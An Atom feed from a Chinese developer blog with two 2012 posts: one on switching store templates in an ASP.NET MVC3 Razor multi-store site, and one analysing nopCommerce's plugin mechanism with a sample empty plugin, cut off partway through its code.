<?xml version="1.0" encoding="utf-8"?><feed xmlns="http://www.w3.org/2005/Atom"><title type="text">博客园_叶鹏</title><subtitle type="text">爱网络，爱程序，爱自由-机器鸟博客，独立博客www.jqpress.com</subtitle><id>http://feed.cnblogs.com/blog/u/66746/rss</id><updated>2012-06-02T08:38:49Z</updated><author><name>叶鹏</name><uri>http://www.cnblogs.com/jqbird/</uri></author><generator>feed.cnblogs.com</generator><link rel="alternate" type="text/html" href="http://www.cnblogs.com/jqbird/"/><link rel="self" type="application/atom+xml" href="http://feed.cnblogs.com/blog/u/66746/rss"/><entry><id>http://www.cnblogs.com/jqbird/archive/2012/06/02/2532029.html</id><title type="text">基于mvc3的razor多用户店铺模板切换设计思路</title><summary type="text">mvc3的实际应用时间还是不长，有些东西正在摸索当中，项目是多用户多模版店铺，以下为实际开发过程中的解决办法，感觉解决方案不是最好的，但是目前只能想到这些，希望园里的大牛们给点建议。1.项目解决方案的目录结构。Syw.Core主要放实体类及依赖注入的程序及插件和数据访问接口。Syw.Data.SqlServer完全是一大堆sql,实现Syw.Core里的IData类。对orm我没深入使用过，还是觉得最大程度的控制我的sql比较放心，所有的集合都是List或者Ilist类型的。Syw.Services业务处理层，类似以前的bll，这里用的是静态方法，没有走接口了，项目不是特别大，一个人开发，接口</summary><published>2012-06-02T08:35:00Z</published><updated>2012-06-02T08:35:00Z</updated><author><name>叶鹏</name><uri>http://www.cnblogs.com/jqbird/</uri></author><link rel="alternate" href="http://www.cnblogs.com/jqbird/archive/2012/06/02/2532029.html"/><link rel="alternate" type="text/html" href="http://www.cnblogs.com/jqbird/archive/2012/06/02/2532029.html"/><content type="html">&lt;p&gt;mvc3的实际应用时间还是不长，有些东西正在摸索当中，项目是多用户多模版店铺，以下为实际开发过程中的解决办法，感觉解决方案不是最好的，但是目前只能想到这些，希望园里的大牛们给点建议。&lt;/p&gt;&lt;p&gt;&lt;strong&gt;1.项目解决方案的目录结构。&lt;/strong&gt;&lt;/p&gt;&lt;p&gt;&lt;img src="http://pic002.cnblogs.com/images/2012/94489/2012060215415240.jpg" alt="" /&gt;&lt;/p&gt;&lt;p&gt;Syw.Core主要放实体类及依赖注入的程序及插件和数据访问接口。&lt;/p&gt;&lt;p&gt;Syw.Data.SqlServer完全是一大堆sql,实现Syw.Core里的IData类。对orm我没深入使用过，还是觉得最大程度的控制我的sql比较放心，所有的集合都是List或者Ilist类型的。&lt;/p&gt;&lt;p&gt;Syw.Services业务处理层，类似以前的bll，这里用的是静态方法，没有走接口了，项目不是特别大，一个人开发，接口太多会很累。&lt;/p&gt;&lt;p&gt;Syw.Test单元测试用的，有时候调试返回结果还是很有用的。&lt;/p&gt;&lt;p&gt;Syw.Admin，后台管理，但是这个我参考的nopcommerce，生成的时候直接在网站更目录下生成Administrator文件夹，View和Content文件夹都在这里，但是dll文件是生成到Syw.Web这个主目录下的，这样我就不需要用二级域名来访问后台了，直接通过http://xxxx.com/admin就可以了。&lt;/p&gt;&lt;p&gt;Syw.Framework主要是一些基础帮助类。例如图片处理，邮件发送帮助类，字符串处理，自定义ui等等。&lt;/p&gt;&lt;p&gt;&lt;strong&gt;2.模板路径及结构&lt;/strong&gt;&lt;/p&gt;&lt;p&gt;&lt;img src="http://pic002.cnblogs.com/images/2012/94489/2012060216053286.jpg" alt="" /&gt;&lt;/p&gt;&lt;p&gt;&lt;img src="http://pic002.cnblogs.com/images/2012/94489/2012060216062746.jpg" alt="" /&gt;&lt;/p&gt;&lt;p&gt;a1,a2,b1为不同风格的模板，不仅仅颜色不相同，排版方式也不相同。现在只有三个模板，通过这种方式选择模板。a1,a2为店铺类的，a3为服务类企业用的。&lt;/p&gt;&lt;p&gt;_LayoutStore.cshtml是店铺的主模板页。通过@Hmtl.Action来访问ChildAction加载页面，@RenderBody() 加载主页面。&lt;/p&gt;&lt;p&gt;&amp;nbsp;&lt;/p&gt;&lt;div style="background-color: #F5F5F5;border: 1px solid #CCCCCC;padding:10px;"&gt;&lt;span style="color: #0000ff;"&gt;&amp;lt;!&lt;/span&gt;&lt;span style="color: #ff00ff;"&gt;DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"&lt;/span&gt;&lt;span style="color: #0000ff;"&gt;&amp;gt;&lt;/span&gt;&lt;br/&gt;&lt;span style="color: #0000ff;"&gt;&amp;lt;&lt;/span&gt;&lt;span style="color: #800000;"&gt;html &lt;/span&gt;&lt;span style="color: #ff0000;"&gt;xmlns&lt;/span&gt;&lt;span style="color: #0000ff;"&gt;="http://www.w3.org/1999/xhtml"&lt;/span&gt;&lt;span style="color: #0000ff;"&gt;&amp;gt;&lt;/span&gt;&lt;br/&gt;&lt;span style="color: #0000ff;"&gt;&amp;lt;&lt;/span&gt;&lt;span style="color: #800000;"&gt;head&lt;/span&gt;&lt;span style="color: #0000ff;"&gt;&amp;gt;&lt;/span&gt;&lt;br/&gt;&lt;span style="color: #0000ff;"&gt;&amp;lt;&lt;/span&gt;&lt;span style="color: #800000;"&gt;meta &lt;/span&gt;&lt;span style="color: #ff0000;"&gt;http-equiv&lt;/span&gt;&lt;span style="color: #0000ff;"&gt;="X-UA-Compatible"&lt;/span&gt;&lt;span style="color: #ff0000;"&gt; content&lt;/span&gt;&lt;span style="color: #0000ff;"&gt;="IE=EmulateIE7"&lt;/span&gt; &lt;span style="color: #0000ff;"&gt;/&amp;gt;&lt;/span&gt;&lt;br/&gt;&lt;span style="color: #0000ff;"&gt;&amp;lt;&lt;/span&gt;&lt;span style="color: #800000;"&gt;title&lt;/span&gt;&lt;span style="color: #0000ff;"&gt;&amp;gt;&lt;/span&gt;@ViewBag.Title -ooxx网&lt;span style="color: #0000ff;"&gt;&amp;lt;/&lt;/span&gt;&lt;span style="color: #800000;"&gt;title&lt;/span&gt;&lt;span style="color: #0000ff;"&gt;&amp;gt;&lt;/span&gt;&lt;br/&gt;&lt;span style="color: #0000ff;"&gt;&amp;lt;&lt;/span&gt;&lt;span style="color: #800000;"&gt;meta &lt;/span&gt;&lt;span style="color: #ff0000;"&gt;name&lt;/span&gt;&lt;span style="color: #0000ff;"&gt;="keywords"&lt;/span&gt;&lt;span style="color: #ff0000;"&gt; content&lt;/span&gt;&lt;span style="color: #0000ff;"&gt;="@ViewBag.Title"&lt;/span&gt;&lt;span style="color: #0000ff;"&gt;&amp;gt;&lt;/span&gt;&lt;br/&gt;&lt;span style="color: #0000ff;"&gt;&amp;lt;&lt;/span&gt;&lt;span style="color: #800000;"&gt;meta &lt;/span&gt;&lt;span style="color: #ff0000;"&gt;name&lt;/span&gt;&lt;span style="color: #0000ff;"&gt;="description"&lt;/span&gt;&lt;span style="color: #ff0000;"&gt; content&lt;/span&gt;&lt;span style="color: #0000ff;"&gt;="@ViewBag.Title"&lt;/span&gt;&lt;span style="color: #0000ff;"&gt;&amp;gt;&lt;/span&gt;&lt;br/&gt;&lt;span style="color: #0000ff;"&gt;&amp;lt;&lt;/span&gt;&lt;span style="color: #800000;"&gt;script &lt;/span&gt;&lt;span style="color: #ff0000;"&gt;type&lt;/span&gt;&lt;span style="color: #0000ff;"&gt;="text/javascript"&lt;/span&gt;&lt;span style="color: #ff0000;"&gt; src&lt;/span&gt;&lt;span style="color: #0000ff;"&gt;="/Scripts/jquery-1.4.4.min.js"&lt;/span&gt;&lt;span style="color: #0000ff;"&gt;&amp;gt;&amp;lt;/&lt;/span&gt;&lt;span style="color: #800000;"&gt;script&lt;/span&gt;&lt;span style="color: #0000ff;"&gt;&amp;gt;&lt;/span&gt;&lt;br/&gt;&lt;span style="color: #0000ff;"&gt;&amp;lt;&lt;/span&gt;&lt;span style="color: #800000;"&gt;link &lt;/span&gt;&lt;span style="color: #ff0000;"&gt;href&lt;/span&gt;&lt;span style="color: #0000ff;"&gt;="/StoreThemes/a2/Content/style2.css"&lt;/span&gt;&lt;span style="color: #ff0000;"&gt; type&lt;/span&gt;&lt;span style="color: #0000ff;"&gt;="text/css"&lt;/span&gt;&lt;span style="color: #ff0000;"&gt; rel&lt;/span&gt;&lt;span style="color: #0000ff;"&gt;="stylesheet"&lt;/span&gt; &lt;span style="color: #0000ff;"&gt;/&amp;gt;&lt;/span&gt;&lt;br/&gt;&lt;span style="color: #0000ff;"&gt;&amp;lt;/&lt;/span&gt;&lt;span style="color: #800000;"&gt;head&lt;/span&gt;&lt;span style="color: #0000ff;"&gt;&amp;gt;&lt;/span&gt;&lt;br/&gt;&lt;br/&gt;&lt;span style="color: #0000ff;"&gt;&amp;lt;&lt;/span&gt;&lt;span style="color: #800000;"&gt;body&lt;/span&gt;&lt;span style="color: #0000ff;"&gt;&amp;gt;&lt;/span&gt;&lt;br/&gt;&lt;span style="color: #008000;"&gt;&amp;lt;!--&lt;/span&gt;&lt;span style="color: #008000;"&gt;banner以上的头部&lt;/span&gt;&lt;span style="color: #008000;"&gt;--&amp;gt;&lt;/span&gt;&lt;span style="color: #000000;"&gt;&lt;br/&gt; @Html.Action("Header", "Store", new { store = ViewBag.Model.Store })&lt;br/&gt; &lt;/span&gt;&lt;span style="color: #008000;"&gt;&amp;lt;!--&lt;/span&gt;&lt;span style="color: #008000;"&gt;banner以上的头部 结束&lt;/span&gt;&lt;span style="color: #008000;"&gt;--&amp;gt;&lt;/span&gt;&lt;br/&gt;&lt;br/&gt;&lt;br/&gt;     &lt;span style="color: #008000;"&gt;&amp;lt;!--&lt;/span&gt;&lt;span style="color: #008000;"&gt;顶部banner和导航&lt;/span&gt;&lt;span style="color: #008000;"&gt;--&amp;gt;&amp;lt;!--&lt;/span&gt;&lt;span style="color: #008000;"&gt;考虑传参数model&lt;/span&gt;&lt;span style="color: #008000;"&gt;--&amp;gt;&lt;/span&gt;&lt;span style="color: #000000;"&gt;&lt;br/&gt;        @Html.Action("TopBanner", "Store", new { store = ViewBag.Model.Store, act = Url.RequestContext.RouteData.Values["action"].ToString().ToLower() })&lt;br/&gt;        &lt;/span&gt;&lt;span style="color: #008000;"&gt;&amp;lt;!--&lt;/span&gt;&lt;span style="color: #008000;"&gt;顶部banner和导航结束&lt;/span&gt;&lt;span style="color: #008000;"&gt;--&amp;gt;&lt;/span&gt;&lt;br/&gt;  &lt;span style="color: #0000ff;"&gt;&amp;lt;&lt;/span&gt;&lt;span style="color: #800000;"&gt;div &lt;/span&gt;&lt;span style="color: #ff0000;"&gt;class&lt;/span&gt;&lt;span style="color: #0000ff;"&gt;="con"&lt;/span&gt;&lt;span style="color: #0000ff;"&gt;&amp;gt;&lt;/span&gt;&lt;span style="color: #000000;"&gt;&lt;br/&gt;&lt;br/&gt;    @Html.Action("SideBar", "Store", new { store = ViewBag.Model.Store })&lt;br/&gt;    &lt;/span&gt;&lt;span style="color: #0000ff;"&gt;&amp;lt;&lt;/span&gt;&lt;span style="color: #800000;"&gt;div &lt;/span&gt;&lt;span style="color: #ff0000;"&gt;class&lt;/span&gt;&lt;span style="color: #0000ff;"&gt;="con-right"&lt;/span&gt;&lt;span style="color: #0000ff;"&gt;&amp;gt;&lt;/span&gt;&lt;br/&gt;        &lt;span style="color: #008000;"&gt;&amp;lt;!--&lt;/span&gt;&lt;span style="color: #008000;"&gt; include &lt;/span&gt;&lt;span style="color: #008000;"&gt;--&amp;gt;&lt;/span&gt;&lt;span style="color: #000000;"&gt;&lt;br/&gt;        @RenderBody()&lt;br/&gt;        &lt;/span&gt;&lt;span style="color: #008000;"&gt;&amp;lt;!--&lt;/span&gt;&lt;span style="color: #008000;"&gt; include end &lt;/span&gt;&lt;span style="color: #008000;"&gt;--&amp;gt;&lt;/span&gt;&lt;br/&gt;    &lt;span style="color: #0000ff;"&gt;&amp;lt;/&lt;/span&gt;&lt;span style="color: #800000;"&gt;div&lt;/span&gt;&lt;span style="color: #0000ff;"&gt;&amp;gt;&lt;/span&gt;&lt;br/&gt;  &lt;span style="color: #0000ff;"&gt;&amp;lt;/&lt;/span&gt;&lt;span style="color: #800000;"&gt;div&lt;/span&gt;&lt;span style="color: #0000ff;"&gt;&amp;gt;&lt;/span&gt;&lt;br/&gt;  &lt;br/&gt;&lt;span style="color: #008000;"&gt;&amp;lt;!--&lt;/span&gt;&lt;span style="color: #008000;"&gt; 页脚 &lt;/span&gt;&lt;span style="color: #008000;"&gt;--&amp;gt;&lt;/span&gt;&lt;span style="color: #000000;"&gt;&lt;br/&gt;@Html.Action("Footer","Store",new { store = ViewBag.Model.Store })&lt;br/&gt;&lt;/span&gt;&lt;span style="color: #008000;"&gt;&amp;lt;!--&lt;/span&gt;&lt;span style="color: #008000;"&gt; 页脚 结束 &lt;/span&gt;&lt;span style="color: #008000;"&gt;--&amp;gt;&lt;/span&gt;&lt;br/&gt;&lt;span style="color: #0000ff;"&gt;&amp;lt;/&lt;/span&gt;&lt;span style="color: #800000;"&gt;body&lt;/span&gt;&lt;span style="color: #0000ff;"&gt;&amp;gt;&lt;/span&gt;&lt;br/&gt;&lt;span style="color: #0000ff;"&gt;&amp;lt;/&lt;/span&gt;&lt;span style="color: #800000;"&gt;html&lt;/span&gt;&lt;span style="color: #0000ff;"&gt;&amp;gt;&lt;/span&gt;&lt;/div&gt;&lt;p&gt;&amp;nbsp;&lt;/p&gt;&lt;p&gt;StoreController里的关于我们的Action&lt;/p&gt;&lt;div style="background-color: #F5F5F5;border: 1px solid #CCCCCC;padding:10px;"&gt;        &lt;span style="color: #0000ff;"&gt;#region&lt;/span&gt; 关于我们&lt;br/&gt;        &lt;span style="color: #808080;"&gt;///&lt;/span&gt; &lt;span style="color: #808080;"&gt;&amp;lt;summary&amp;gt;&lt;/span&gt;&lt;br/&gt;        &lt;span style="color: #808080;"&gt;///&lt;/span&gt;&lt;span style="color: #008000;"&gt; 店铺简介&lt;br/&gt;        &lt;/span&gt;&lt;span style="color: #808080;"&gt;///&lt;/span&gt; &lt;span style="color: #808080;"&gt;&amp;lt;/summary&amp;gt;&lt;/span&gt;&lt;br/&gt;        &lt;span style="color: #808080;"&gt;///&lt;/span&gt; &lt;span style="color: #808080;"&gt;&amp;lt;returns&amp;gt;&amp;lt;/returns&amp;gt;&lt;/span&gt;&lt;br/&gt;        &lt;span style="color: #0000ff;"&gt;public&lt;/span&gt; ActionResult About(&lt;span style="color: #0000ff;"&gt;int&lt;/span&gt;&lt;span style="color: #000000;"&gt; id)&lt;br/&gt;        {&lt;br/&gt;            &lt;/span&gt;&lt;span style="color: #0000ff;"&gt;var&lt;/span&gt; model = &lt;span style="color: #0000ff;"&gt;new&lt;/span&gt;&lt;span style="color: #000000;"&gt; StoreModel();&lt;br/&gt;            model.Store &lt;/span&gt;=&lt;span style="color: #000000;"&gt; StoreService.GetStoreById(id);&lt;br/&gt;            model.CurrentAction &lt;/span&gt;= RouteData.Values[&lt;span style="color: #800000;"&gt;"&lt;/span&gt;&lt;span style="color: #800000;"&gt;action&lt;/span&gt;&lt;span style="color: #800000;"&gt;"&lt;/span&gt;&lt;span style="color: #000000;"&gt;].ToString().ToLower().ToLower();&lt;br/&gt;            ViewBag.Model &lt;/span&gt;=&lt;span style="color: #000000;"&gt; model;&lt;br/&gt;            &lt;/span&gt;&lt;span style="color: #0000ff;"&gt;return&lt;/span&gt; View(model.Store.Theme.ViewPath + &lt;span style="color: #800000;"&gt;"&lt;/span&gt;&lt;span style="color: #800000;"&gt;About.cshtml&lt;/span&gt;&lt;span style="color: #800000;"&gt;"&lt;/span&gt;&lt;span style="color: #000000;"&gt;, model);&lt;br/&gt;        }&lt;br/&gt;        &lt;/span&gt;&lt;span style="color: #0000ff;"&gt;#endregion&lt;/span&gt;&lt;/div&gt;&lt;p&gt;&amp;nbsp;&lt;/p&gt;&lt;p&gt;ChildAction如下,网站底部&lt;/p&gt;&lt;div style="background-color: #F5F5F5;border: 1px solid #CCCCCC;padding:10px;"&gt;&lt;span style="color: #000000;"&gt;        [ChildActionOnly]&lt;br/&gt;        &lt;/span&gt;&lt;span style="color: #0000ff;"&gt;public&lt;/span&gt;&lt;span style="color: #000000;"&gt; ActionResult Footer(StoreInfo store)&lt;br/&gt;        {&lt;br/&gt;            &lt;/span&gt;&lt;span style="color: #0000ff;"&gt;var&lt;/span&gt; model =&lt;span style="color: #0000ff;"&gt;new&lt;/span&gt;&lt;span style="color: #000000;"&gt; StoreModel();&lt;br/&gt;            model.Store &lt;/span&gt;=&lt;span style="color: #000000;"&gt; store;&lt;br/&gt;            &lt;/span&gt;&lt;span style="color: #0000ff;"&gt;if&lt;/span&gt; (store.Theme != &lt;span style="color: #0000ff;"&gt;null&lt;/span&gt;&lt;span style="color: #000000;"&gt;)&lt;br/&gt;            {&lt;br/&gt;                &lt;/span&gt;&lt;span style="color: #0000ff;"&gt;return&lt;/span&gt; PartialView(store.Theme.ViewPath + &lt;span style="color: #800000;"&gt;"&lt;/span&gt;&lt;span style="color: #800000;"&gt;Footer.cshtml&lt;/span&gt;&lt;span style="color: #800000;"&gt;"&lt;/span&gt;&lt;span style="color: #000000;"&gt;, model);&lt;br/&gt;            }&lt;br/&gt;            &lt;/span&gt;&lt;span style="color: #0000ff;"&gt;else&lt;/span&gt;&lt;span style="color: #000000;"&gt;&lt;br/&gt;            {&lt;br/&gt;                &lt;/span&gt;&lt;span style="color: #0000ff;"&gt;return&lt;/span&gt; PartialView(StoreService.GetStoreConfig().DefaultView + &lt;span style="color: #800000;"&gt;"&lt;/span&gt;&lt;span style="color: #800000;"&gt;Footer.cshtml&lt;/span&gt;&lt;span style="color: #800000;"&gt;"&lt;/span&gt;&lt;span style="color: #000000;"&gt;, model);&lt;br/&gt;            }&lt;br/&gt;        }&lt;/span&gt;&lt;/div&gt;&lt;p&gt;&amp;nbsp;&lt;/p&gt;&lt;p&gt;后台选择模板&lt;/p&gt;&lt;p&gt;&lt;img src="http://pic002.cnblogs.com/images/2012/94489/2012060216085945.jpg" alt="" /&gt;&lt;/p&gt;&lt;p&gt;通过这种简单的方式实现了多用户店铺多模板的选择功能，自定义二级域名不在这里赘述了。&lt;/p&gt;&lt;p&gt;自我感觉还有很多不完善的地方，欢迎拍砖。&lt;/p&gt;&lt;p&gt;独立博客地址：&lt;a href="http://www.jqpress.com/post/182.aspx"&gt;http://www.jqpress.com/post/182.aspx&lt;/a&gt;&lt;/p&gt;&lt;p&gt;&amp;nbsp;&lt;/p&gt;&lt;img src="http://www.cnblogs.com/jqbird/aggbug/2532029.html?type=1" width="1" height="1" alt=""/&gt;&lt;p&gt;&lt;a href="http://www.cnblogs.com/jqbird/archive/2012/06/02/2532029.html" target="_blank"&gt;本文链接&lt;/a&gt;&lt;/p&gt;</content></entry><entry><id>http://www.cnblogs.com/jqbird/archive/2012/05/31/2528479.html</id><title type="text">nopcommerce插件深度剖析</title><summary type="text">nopcommerce插件机制是相当优秀的，所以就分析一下然后拿来所用，集成到自己的网站架构里。写篇小文记录一下。不足和错误之处还望指正，nop版本2.51.Nop.Core.Plugins核心文件夹文件目录：这里面是Plugins的基类文件夹，实现插件机制的核心部分。IPluginFinder.cs接口：获取插件的信息接口，在ioc里的Nop.Web.Framework.DependencyRegistrar注册此接口。系统启动的时候会加载到内存里。//pluginsbuilder.RegisterType&lt;PluginFinder&gt;().As&lt;IPluginFinder&amp;</summary><published>2012-05-31T08:18:00Z</published><updated>2012-05-31T08:18:00Z</updated><author><name>叶鹏</name><uri>http://www.cnblogs.com/jqbird/</uri></author><link rel="alternate" href="http://www.cnblogs.com/jqbird/archive/2012/05/31/2528479.html"/><link rel="alternate" type="text/html" href="http://www.cnblogs.com/jqbird/archive/2012/05/31/2528479.html"/><content type="html">&lt;div&gt;&lt;p&gt;nopcommerce插件机制是相当优秀的，所以就分析一下然后拿来所用，集成到自己的网站架构里。写篇小文记录一下。不足和错误之处还望指正，nop版本2.5&lt;/p&gt;&lt;h2 style="color: #ffffff; background-color: #999999;"&gt;1.Nop.Core.Plugins核心文件夹&lt;/strong&gt;&lt;/p&gt;&lt;p&gt;文件目录：&lt;/p&gt;&lt;p&gt;&amp;nbsp;&lt;/p&gt;&lt;p&gt;&lt;img src="http://pic002.cnblogs.com/images/2012/94489/2012053114212558.jpg" alt="" /&gt;&lt;/p&gt;&lt;p&gt;这里面是Plugins的基类文件夹，实现插件机制的核心部分。&lt;/p&gt;&lt;p&gt;&lt;strong&gt;IPluginFinder.cs接口：&lt;/strong&gt;&lt;/p&gt;&lt;p&gt;获取插件的信息接口，在ioc里的Nop.Web.Framework.DependencyRegistrar注册此接口。&lt;/p&gt;&lt;p&gt;系统启动的时候会加载到内存里。&lt;/p&gt;&lt;p&gt;//plugins&lt;br /&gt;builder.RegisterType&amp;lt;PluginFinder&amp;gt;().As&amp;lt;IPluginFinder&amp;gt;().InstancePerHttpRequest();&lt;/p&gt;&lt;p&gt;&lt;strong&gt;&amp;nbsp;IPlugin.cs:&lt;/strong&gt;&lt;/p&gt;&lt;p&gt;插件的操作接口，主要有设置插件的属性信息，安装插件接口，卸载插件接口。&lt;/p&gt;&lt;p&gt;&lt;strong&gt;BasePlugins.cs&amp;nbsp;&lt;/strong&gt;实现IPlugin.cs的方法。&lt;/p&gt;&lt;p&gt;&lt;strong&gt;PluginDescriptor.cs&lt;/strong&gt; &amp;nbsp;插件的实体类，包含了插件的版本、描述，类型，文件名称，作者，等等一系列状态。&lt;/p&gt;&lt;p&gt;&lt;strong&gt;PluginFileParser。cs&lt;/strong&gt; 包含对插件的实体操作方法，主要是写入插件的描述信息。&lt;/p&gt;&lt;p&gt;&lt;strong&gt;PluginFinder.cs&lt;/strong&gt; 加载所有的插件，并获取它们的信息.&lt;/p&gt;&lt;p&gt;&lt;strong&gt;PluginManager.cs&lt;/strong&gt; 插件管理的主类，看里面的注释，它的插件机制应该是参考的Umbraco这个cms的。&lt;/p&gt;&lt;h2 style="color: #ffffff; background-color: #999999;"&gt;2.自定义插件&lt;/strong&gt;&lt;/p&gt;&lt;p&gt;&lt;img src="http://pic002.cnblogs.com/images/2012/94489/2012053114473380.jpg" alt="" /&gt;&lt;/p&gt;&lt;p&gt;在这里我演示一个空的插件，本来是写抓取程序的，时间关系，没有做 了。插件名称,Nop.Plugin.Crawler&lt;/p&gt;&lt;p&gt;第一步：新建一个类库项目，而不是mvc应用项目。&lt;/p&gt;&lt;p&gt;&lt;img src="http://pic002.cnblogs.com/images/2012/94489/2012053114501112.jpg" alt="" /&gt;&lt;/p&gt;&lt;p&gt;第二步：在你的项目里添加需要的文件夹和文件：&lt;/p&gt;&lt;p&gt;Controllers，必选，控制器&lt;/p&gt;&lt;p&gt;Models，可选，如果你的项目很简单的话。&lt;/p&gt;&lt;p&gt;Views，可选但是一般情况下都需要有个界面的，放razor模板的.&lt;/p&gt;&lt;p&gt;Description.txt,这个必须要，插件的版本描述信息。内容如下&lt;/p&gt;&lt;p&gt;&lt;span style="font-size: 12px;"&gt;Group: Crawler&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: 12px;"&gt;FriendlyName:Crawler&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: 12px;"&gt;SystemName: Nop.Plugin.Crawler&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: 12px;"&gt;Version: 1.00&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: 12px;"&gt;SupportedVersions: 2.50&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: 12px;"&gt;Author: nopCommerce team&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: 12px;"&gt;DisplayOrder: 1&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: 12px;"&gt;FileName: Nop.Plugin.Crawler.dll&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style="font-size: 12px; background-color: #ff0000;"&gt;在它上面点右键设置属性,如下图&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&amp;nbsp;&lt;/p&gt;&lt;p&gt;&lt;img src="http://pic002.cnblogs.com/images/2012/94489/2012053115440612.jpg" alt="" /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style="font-size: 12px;"&gt;&amp;nbsp;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;Notes.txt ，这个是插件的备注信息，描述了插件的文件位置和一些注意事项。&lt;/p&gt;&lt;p&gt;RouteProvider.cs，路由文件，继承自Nop.Web.Framework.Mvc.Routes.IRouteProvider&lt;/p&gt;&lt;div style="background-color: #F5F5F5;border: 1px solid #CCCCCC;padding:10px;" onclick="cnblogs_code_show('266ace35-14ac-4149-a379-a8ef249058d4')"&gt;&lt;div id="cnblogs_code_open_266ace35-14ac-4149-a379-a8ef249058d4" class="cnblogs_code_hide"&gt;&lt;span style="color: #0000ff;"&gt;using&lt;/span&gt;&lt;span style="color: #000000;"&gt; System.Web.Mvc;&lt;br/&gt;&lt;/span&gt;&lt;span style="color: #0000ff;"&gt;using&lt;/span&gt;&lt;span style="color: #000000;"&gt; System.Web.Routing;&lt;br/&gt;&lt;/span&gt;&lt;span style="color: #0000ff;"&gt;using&lt;/span&gt;&lt;span style="color: #000000;"&gt; Nop.Web.Framework.Mvc.Routes;&lt;br/&gt;&lt;br/&gt;&lt;/span&gt;&lt;span style="color: #0000ff;"&gt;namespace&lt;/span&gt;&lt;span style="color: #000000;"&gt; Nop.Plugin.Crawler&lt;br/&gt;{&lt;br/&gt;    &lt;/span&gt;&lt;span style="color: #0000ff;"&gt;public&lt;/span&gt; &lt;span style="color: #0000ff;"&gt;partial&lt;/span&gt; &lt;span style="color: #0000ff;"&gt;class&lt;/span&gt;&lt;span style="color: #000000;"&gt; RouteProvider : IRouteProvider&lt;br/&gt;    {&lt;br/&gt;        &lt;/span&gt;&lt;span style="color: #0000ff;"&gt;public&lt;/span&gt; &lt;span style="color: #0000ff;"&gt;void&lt;/span&gt;&lt;span style="color: #000000;"&gt; RegisterRoutes(RouteCollection routes)&lt;br/&gt;        {&lt;br/&gt;            routes.MapRoute(&lt;/span&gt;&lt;span style="color: #800000;"&gt;"&lt;/span&gt;&lt;span style="color: #800000;"&gt;Nop.Plugin.Crawler&lt;/span&gt;&lt;span style="color: #800000;"&gt;"&lt;/span&gt;&lt;span style="color: #000000;"&gt;,&lt;br/&gt;                 &lt;/span&gt;&lt;span style="color: #800000;"&gt;"&lt;/span&gt;&lt;span style="color: #800000;"&gt;Plugins/Crawler/Index&lt;/span&gt;&lt;span style="color: #800000;"&gt;"&lt;/span&gt;&lt;span style="color: #000000;"&gt;,&lt;br/&gt;                 &lt;/span&gt;&lt;span style="color: #0000ff;"&gt;new&lt;/span&gt; { controller = &lt;span style="color: #800000;"&gt;"&lt;/span&gt;&lt;span style="color: #800000;"&gt;Crawler&lt;/span&gt;&lt;span style="color: #800000;"&gt;"&lt;/span&gt;, action = &lt;span style="color: #800000;"&gt;"&lt;/span&gt;&lt;span style="color: #800000;"&gt;Index&lt;/span&gt;&lt;span style="color: #800000;"&gt;"&lt;/span&gt;&lt;span style="color: #000000;"&gt; },&lt;br/&gt;                 &lt;/span&gt;&lt;span style="color: #0000ff;"&gt;new&lt;/span&gt;[] { &lt;span style="color: #800000;"&gt;"&lt;/span&gt;&lt;span style="color: #800000;"&gt;Nop.Plugin.Crawler.Controllers&lt;/span&gt;&lt;span style="color: #800000;"&gt;"&lt;/span&gt;&lt;span style="color: #000000;"&gt; }&lt;br/&gt;            );&lt;br/&gt;        }&lt;br/&gt;        &lt;/span&gt;&lt;span style="color: #0000ff;"&gt;public&lt;/span&gt; &lt;span style="color: #0000ff;"&gt;int&lt;/span&gt;&lt;span style="color: #000000;"&gt; Priority&lt;br/&gt;        {&lt;br/&gt;            &lt;/span&gt;&lt;span style="color: #0000ff;"&gt;get&lt;/span&gt;&lt;span style="color: #000000;"&gt;&lt;br/&gt;            {&lt;br/&gt;                &lt;/span&gt;&lt;span style="color: #0000ff;"&gt;return&lt;/span&gt; &lt;span style="color: #800080;"&gt;0&lt;/span&gt;&lt;span style="color: #000000;"&gt;;&lt;br/&gt;            }&lt;br/&gt;        }&lt;br/&gt;    }&lt;br/&gt;}&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;p&gt;web.config，.net配置文件。&lt;/p&gt;&lt;p&gt;CrawlerController.cs 在我的控制器里定义了一个返回简单页面的方法。&lt;/p&gt;&lt;div style="background-color: #F5F5F5;border: 1px solid #CCCCCC;padding:10px;"&gt;&lt;span style="color: #0000ff;"&gt;using&lt;/span&gt;&lt;span style="color: #000000;"&gt; System.Web.Mvc;&lt;br/&gt;&lt;/span&gt;&lt;span style="color: #0000ff;"&gt;using&lt;/span&gt;&lt;span style="color: #000000;"&gt; Nop.Web.Framework.Controllers;&lt;br/&gt;&lt;br/&gt;&lt;/span&gt;&lt;span style="color: #0000ff;"&gt;namespace&lt;/span&gt;&lt;span style="color: #000000;"&gt; Nop.Plugin.Crawler.Controllers&lt;br/&gt;{&lt;br/&gt;    [AdminAuthorize]&lt;br/&gt;    &lt;/span&gt;&lt;span style="color: #0000ff;"&gt;public&lt;/span&gt; &lt;span style="color: #0000ff;"&gt;class&lt;/span&gt;&lt;span style="color: #000000;"&gt; CrawlerController : Controller&lt;br/&gt;    {&lt;br/&gt;  &lt;br/&gt;        &lt;/span&gt;&lt;span style="color: #0000ff;"&gt;public&lt;/span&gt;&lt;span style="color: #000000;"&gt; ActionResult Index()&lt;br/&gt;        {&lt;br/&gt;&lt;br/&gt;            &lt;/span&gt;&lt;span style="color: #0000ff;"&gt;return&lt;/span&gt; View(&lt;span style="color: #800000;"&gt;"&lt;/span&gt;&lt;span style="color: #800000;"&gt;Nop.Plugin.Crawler.Views.Index&lt;/span&gt;&lt;span style="color: #800000;"&gt;"&lt;/span&gt;&lt;span style="color: #000000;"&gt;);&lt;br/&gt;        }&lt;br/&gt;    